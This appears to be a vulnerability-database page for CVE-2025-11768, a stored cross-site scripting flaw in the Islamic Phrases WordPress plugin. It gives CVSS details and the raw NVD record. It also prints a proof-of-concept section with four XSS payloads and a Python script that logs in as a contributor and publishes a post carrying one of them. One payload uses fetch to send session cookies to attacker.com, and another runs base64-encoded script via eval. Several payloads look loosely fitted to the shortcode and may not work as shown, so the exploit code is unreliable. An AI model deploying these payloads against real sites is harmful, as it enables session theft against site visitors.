Security Vulnerability Report
中文
CVE-2025-11768 CVSS 6.4 MEDIUM

CVE-2025-11768

Published: 2025-11-21 08:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Islamic Phrases plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'phrases' shortcode attribute in all versions up to, and including, 2.12.2015. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Islamic Phrases WordPress插件 <= 2.12.2015

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11768 PoC - Islamic Phrases Stored XSS # Affected Version: <= 2.12.2015 # Attack Type: Stored Cross-Site Scripting via shortcode # Method 1: Basic PoC - Inject via shortcode attribute post_content = ''' [phrases onfocus="alert('XSS')" autofocus] ''' # Method 2: Event handler injection post_content = ''' [phrases onmouseover='javascript:alert(document.cookie)'] ''' # Method 3: Script tag injection post_content = ''' [phrases]<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>[/phrases] ''' # Method 4: Image tag with onerror post_content = ''' [phrases><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>] ''' # Exploitation steps: # 1. Attacker with contributor+ role creates/edits a post # 2. Inserts malicious shortcode with XSS payload # 3. Publishes the post # 4. Any user visiting the page executes the malicious script # Python PoC script import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In', 'redirect_to': post_url } session.post(login_url, data=login_data) # Create post with XSS payload post_data = { 'post_title': 'XSS Test Post', 'post_content': '[phrases onmouseover="alert(document.cookie)"]', 'post_status': 'publish', 'publish': 'Publish' } response = session.post(post_url, data=post_data) print(f"XSS payload deployed: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11768", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:49.893", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Islamic Phrases plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'phrases' shortcode attribute in all versions up to, and including, 2.12.2015. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/islamic-phrases/tags/2.12.2015/islamic-phrases.php#L89", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e9bcc72-e434-4f6f-9e90-eec8cad31035?source=cve", "source": "[email protected]"}]}}